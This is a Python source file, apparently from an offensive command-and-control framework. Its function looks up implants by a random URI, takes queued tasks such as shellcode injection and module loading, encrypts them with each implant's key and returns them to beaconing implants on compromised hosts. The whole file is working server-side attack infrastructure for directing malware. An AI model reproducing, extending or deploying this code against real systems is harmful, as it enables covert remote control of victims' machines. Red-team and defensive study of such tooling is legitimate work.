81 lines
3.4 KiB
Python
81 lines
3.4 KiB
Python
#!/usr/bin/python
|
|
|
|
from Colours import *
|
|
from Core import *
|
|
import DB
|
|
|
|
def newTask(path):
|
|
result = DB.get_implants_all()
|
|
commands = ""
|
|
if result:
|
|
for i in result:
|
|
RandomURI = i[1]
|
|
EncKey = i[5]
|
|
tasks = DB.get_newtasks(RandomURI)
|
|
if RandomURI in path and tasks:
|
|
for a in tasks:
|
|
command = a[2]
|
|
user = a[3]
|
|
user_command = command
|
|
hostinfo = DB.get_hostinfo(RandomURI)
|
|
now = datetime.datetime.now()
|
|
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
|
|
user_command = command[0:150]+"......TRUNCATED......"+command[-80:]
|
|
elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
|
|
user_command = command[0:150]+"......TRUNCATED......"+command[-80:]
|
|
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
|
|
user_command = command[0:150]+"......TRUNCATED......"+command[-80:]
|
|
taskId = DB.insert_task(RandomURI, user_command, user)
|
|
taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
|
|
if len(str(taskId)) > 5:
|
|
raise ValueError('Task ID is greater than 5 characters which is not supported.')
|
|
print Colours.YELLOW
|
|
if user is not None and user != "":
|
|
print "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, user, hostinfo[0],hostinfo[11],hostinfo[2],hostinfo[3],now.strftime("%m/%d/%Y %H:%M:%S"))
|
|
else:
|
|
print "Task %s issued against implant %s on host %s\\%s @ %s (%s)" % (taskIdStr, hostinfo[0],hostinfo[11],hostinfo[2],hostinfo[3],now.strftime("%m/%d/%Y %H:%M:%S"))
|
|
if "upload-file" in command.lower():
|
|
print "Uploading File",Colours.END
|
|
else:
|
|
try:
|
|
print user_command,Colours.END
|
|
except Exception as e:
|
|
print "Cannot print output: %s" % e
|
|
if a[2].startswith("loadmodule"):
|
|
try:
|
|
module_name = (a[2]).replace("loadmodule ","")
|
|
if ".exe" in module_name:
|
|
modulestr = load_module_sharp(module_name)
|
|
elif ".dll" in module_name:
|
|
modulestr = load_module_sharp(module_name)
|
|
else:
|
|
modulestr = load_module(module_name)
|
|
command = "loadmodule%s" % modulestr
|
|
except Exception as e:
|
|
print "Cannot find module, loadmodule is case sensitive!"
|
|
print e
|
|
command = taskIdStr + command
|
|
if commands:
|
|
commands += "!d-3dion@LD!-d" + command
|
|
else:
|
|
commands += command
|
|
DB.del_newtasks(str(a[0]))
|
|
if commands is not None:
|
|
multicmd = "multicmd%s" % commands
|
|
try:
|
|
responseVal = encrypt(EncKey, multicmd)
|
|
except Exception as e:
|
|
responseVal = ""
|
|
print "Error encrypting value: %s" % e
|
|
now = datetime.datetime.now()
|
|
DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
|
|
return responseVal
|
|
elif RandomURI in path and not tasks:
|
|
# if there is no tasks but its a normal beacon send 200
|
|
now = datetime.datetime.now()
|
|
DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI)
|
|
return default_response()
|
|
#else:
|
|
# return None
|
|
|